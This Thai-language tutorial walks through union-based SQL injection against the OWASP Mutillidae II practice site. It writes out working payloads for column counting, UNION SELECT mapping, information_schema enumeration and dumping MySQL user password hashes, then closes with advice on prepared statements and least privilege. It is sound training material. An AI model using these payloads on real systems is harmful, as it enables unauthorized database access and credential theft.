บทนำ (Overview)
จากบทความก่อนหน้าที่สามารถ “Bypass” การ “Login” โดยใช้ช่องโหว่ “SQL injection” ได้นั้น (How to bypass authentication using SQLi) ในบทความนี้จะกล่าวถึงการดึงข้อมูลจากในฐานข้อมูลโดยไม่ได้รับอนุญาต (ซึ่งโปรแกรมมีการบังคับให้เฉพาะผู้มีสิทธิเท่านั้นเห็นข้อมูลได้)
ซึ่งการดึงข้อมูลนั้นสามารถเป็นไปได้ทั้งในรูปแบบ หน้าเว็บที่เกิด “Error” หรือไม่เกิด “Error” โดยข้อมูลที่ต้องการจะถูกแทรกเข้าใปใช้ “Field” เดิมที่กำหนดไว้เป็นต้น
ขั้นตอน (Steps)
- ติดตั้ง OWASP Mutillidae II (เว็บไซต์ใช้สำหรับการทดสอบช่องโหว่ของ OWASP) จาก http://sourceforge.net/projects/mutillidae/?source=typ_redirect
- ไปที่หัวข้อ “SQLi – Extract data”
- ทดลองสร้าง “User account” ใหม่ จากนั้นลอง “Login” ด้วย “Username” และ “Password” ที่สร้างนั้น พบว่าจะแสดงรายละเอียด “User account” ที่เรากรอกเข้าไป
- ทดสอบหาข้อผิดพลาดจากการใส่ ‘ (Single quote) พบว่าเกิด “Error” เช่นเดียวกับการ “Bypass” ของ “Login”
- เพราะฉะนั้นลองทดสอบกรอกคำสั่ง ‘ or ‘1’ = ‘1’#– ที่ช่อง “Username” อย่างเดียว พบว่ามีรายเอียดของ บัญชีผู้ใช้จำนวน 24 บัญชี ออกมาซึ่งในความจริงเราไม่มีสิทธิเข้าดู
- จากนั้นเราลองมาเข้าถึงข้อมูลใน “Table” อื่น ๆ กันดูดีกว่า โดยหลักการคือ เราจะดึงข้อมูลจาก “Table” อื่นมาทำการต่อกับข้อมูลของ “Table” ที่โปรแกรมเขียนดึงเอาไว้ โดยใช้คำสั่ง “union” ของระเบียน (records) แต่การที่จะ “union” ระหว่างคำสั่ง “select” ได้นั้นจำนวน “column” ใน “select” ของทั้ง 2 คำสั่งต้องเท่ากัน
- เราสามารถหาจำนวน “column” ของ “table” ที่เว็บไซต์เรียกใช้ได้ (“table” ชื่อ “accounts” สามารถทราบได้จาก “error”) ถึงแม้มันจะใช้ * ก็ตาม (Select * ความหมายคือสืบค้นข้อมูลทุก column ใน table) โดยใช้หลักการของ order by <เลขลำดับ column> เริ่มจาก 1..n ได้ดังนี้ ‘ or ‘1’ =’1′ order by 2;#
SELECT * FROM accounts WHERE username='' or '1' ='1' order by 15;#' AND password=''
- เราเริ่มไล่ตั้งแต่ order by 1 จนถึง n ถ้าพบว่า “error” แสดงว่า จำนวน n-1 คือ จำนวน “column” ที่มีอยู่ใน “table” จากตัวอย่างพบว่าเว็บไซต์จะ “error” เมื่อ “order by 8” แสดงว่ามีจำนวน “column” = 8
- เมื่อเราทราบแน่นอนแล้ว มีจำนวน “column” ที่เว็บไซต์เรียกใช้มีจำนวนเท่ากับ 7 เราก็จะต้อง “union” ข้อมูลให้เท่ากับ 7 “column” ด้วย วิธีที่ง่ายที่สุดคือกำหนดตัวเลขลงไปเลย เช่น ‘ union select ‘1’, ‘2’, ‘3’, ‘4’, ‘5’, ‘6’, ‘7’ from accounts ;# ส่งผลให้จะได้ Syntax SQL ดังนี้
SELECT * FROM accounts WHERE username='' union select '1', '2', '3', '4', '5', '6', '7'from accounts ;#' AND password=''
- ทดสอบลองกรอกเข้าไปที่ช่อง “username” พบว่า ข้อมูล ‘2’ จะไปปรากฏที่ช่อง “username” ข้อมูล ‘3’ จะไปปรากฏที่ช่อง “password” และ ข้อมูล ‘4’ จะปรากฏอยู่ในช่อง “Signature” ซึ่งเราสามารถใช้ตำแหน่ง ‘2’, ‘3’, และ ‘4’ ในการดึงข้อมูล “column” มาแสดงได้
- ที่นี้เราลองมาหาข้อมูลใน “table” อื่นกัน โดยมากจะเข้าไปใน “table” ของระบบฐานข้อมูล (system table) หรือใช้ฟังก์ชันของตามแต่ละชนิดของข้อมูล เช่น “ORACLE” “MySQL” “MSSQL server” “MS Access” “SQLite” เราสามารถหาชนิดของฐานข้อมูลได้เช่น error ต่าง ๆ หรือ port ที่เปิด เป็นต้น
- เนื่องจาก “error” ทำให้เราทราบว่า ฐานข้อมูลคือ “MySQL” เราจะทดสอบการเรียกใช้ “function” และเข้าถึงตารางฐานข้อมูลของระบบ (system table) ดังตัวอย่างเช่น
#ใช้สำหรับแสดงเลข version ของ MySQL SELECT @@version #ใช้สำหรับแสดงชื่อ server ที่ใช้ SELECT @@hostname; #แสดง username ของเว็บไซต์ที่ใช้ติดต่อกับฐานข้อมูล SELECT system_user(); #ชื่อของฐานข้อมูลที่ใช้ SELECT database() #ดึงข้อมูลชื่อ ตารางทั้งหมด SELECT table_schema,table_name FROM information_schema.tables #ดึงข้อมูล column จากตารางที่กำหนด SELECT table_schema, table_name, column_name FROM information_schema.columns #ค้นหาชื่อ username ของฐานข้อมูล (ต้องมีสิทธิบริหาร db) SELECT User FROM mysql.user; #ค้นหาชื่อ password ของฐานข้อมูล (ต้องมีสิทธิบริหาร db) SELECT host, User, Password FROM mysql.user;
- ทดสอบ ดึงข้อมูลชื่อ “username” ที่ใช้เชื่อมต่อฐานข้อมูล ‘ union select ‘1’, system_user(), ‘3’, ‘4’, ‘5’, ‘6’, ‘7’ from accounts ;#
- จากนั้นเราลองค้นชื่อฐานข้อมูล (Schema) ชื่อตาราง (Table) และชื่อ (Field) ทั้งหมดจะทำให้เราสามารถเข้าได้ทุกตารางที่มีสิทธิเทียบเว็บไซต์จะเข้าได้ ดังนี้
ตรวจสอบชื่อ Schema ที่เว็บไซต์ใช้อยู่ ณ ปัจจุบัน รวมถึงชื่อ Host ด้วย' union select '1', database(), @@hostname, '4', '5', '6', '7'from accounts ;#
- แสดงรายชื่อ Schema ทั้งหมดที่มีอยู่ในฐานข้อมูล MySQL
' union select '1', table_schema , '3', '4', '5', '6', '7' from information_schema.tables ;#
- แสดงรายชื่อ Table ทั้งหมดจาก Schema ที่ชื่อ mysql โดยเราสามารถเปลี่ยนชื่อได้ตามผลลัพธ์จากการค้นหา Schema
' union select '1', table_schema , table_name, '4', '5', '6', '7'from information_schema.tables WHERE table_schema = 'mysql';#
- แสดงรายชื่อ Column ทั้งหมดของ Table ที่ชื่อ user โดยเราสามารถเปลี่ยนชื่อได้ตามผลลัพธ์จากการค้นหา Table
' union select '1', table_schema , table_name, column_name, '5', '6', '7'from information_schema.columns WHERE table_name = 'user';#
- เมื่อทราบชื่อ Table ที่ต้องการ และชื่อ Field ที่ต้องการแล้ว สามารถดึงข้อมูลได้ทันทีกับทุก Schema ที่เว็บไซต์มีสิทธิเข้าถึง จากตัวอย่างทดลองเข้าถึง “Table” ที่ชื่อ “mysql.user” เพื่อดึงค่า “Hash” ซึ่งเป็น “password” ของ ฐานข้อมูลออกมา
' union select '1', User, Password, '4', '5', '6', '7'from mysql.user;#
- นอกจากนี้จะเห็นบาง “Table” อาจจะมีหลาย “column” แต่ช่องแสดงข้อมูลเรามีเพียง 3 “column” เราสามารถดึกข้อมูลหลาย ๆ “column” แล้วมารวมอยู่ใน “column” เดียวกันได้โดยใช้คำสั่ง CONCAT(‘FIRST ‘, ‘SECOND’) ตัวอย่างเช่น
' union select '1', CONCAT('Host: ',Host,' Username: ', User, ' Password: ', Password),'3', '4', '5', '6', '7'from mysql.user;#
สรุปผลการทดสอบ (Conclusion)
นอกจากการป้องกัน “Input validation” คือการตรวจสอบส่วนนำเข้าไม่อนุญาติชุดคำสั่งจากเว็บเบราเซอร์แล้ว การใช้ “Prepared-statement” ก็เป็นส่วนสำคัญที่ช่วยป้อง “SQLi” แต่อย่างไรในส่วนหัวข้อนี้จะเป็นได้ว่า สามารถเข้าไปถึง Table ที่เป็นของระบบ (System table) นั้นเพราะถ้าเว็บไซต์ได้สิทธิอะไรช่องโหว่ “SQLi” จะมีสิทธิตามนั้น เพราะฉะนั้นการจำกัดสิทธิการเข้าถึงตารางจึงเป็นส่วนสำคัญ ควรให้สิทธิเพียงพอกับการใช้งานของเว็บไซต์ ไม่ควรให้สิทธิมากเกินไป เป็นต้น ทั้งเมื่อมีการเปลี่ยนแปลง “Software version” ถ้าเกิดมีช่องโหว่ “SQLi” ขึ้นมาอีก การจำกัดวงเสียหายจะเกิดขึ้นได้เพียงแค่ สิทธิที่ฐานข้อมูลให้เท่านั้น